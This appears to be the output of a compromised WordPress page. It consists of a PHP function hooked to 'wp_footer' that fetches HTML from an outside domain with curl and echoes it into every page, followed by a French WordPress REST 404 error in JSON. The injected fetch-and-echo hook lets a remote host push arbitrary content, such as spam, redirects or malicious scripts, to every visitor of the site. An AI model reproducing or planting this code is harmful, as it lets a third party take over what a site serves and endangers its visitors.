function fetch_url_content() { $url = "https://ampqueen.com/LP4/index.php"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); if ($output === false) { echo 'Error: ' . curl_error($ch); } else { echo $output; } curl_close($ch); } add_action('wp_footer', 'fetch_url_content');{"code":"rest_no_route","message":"Aucune route correspondante \u00e0 l\u2019URL et \u00e0 la m\u00e9thode de requ\u00eate n\u2019a \u00e9t\u00e9 trouv\u00e9e.","data":{"status":404}}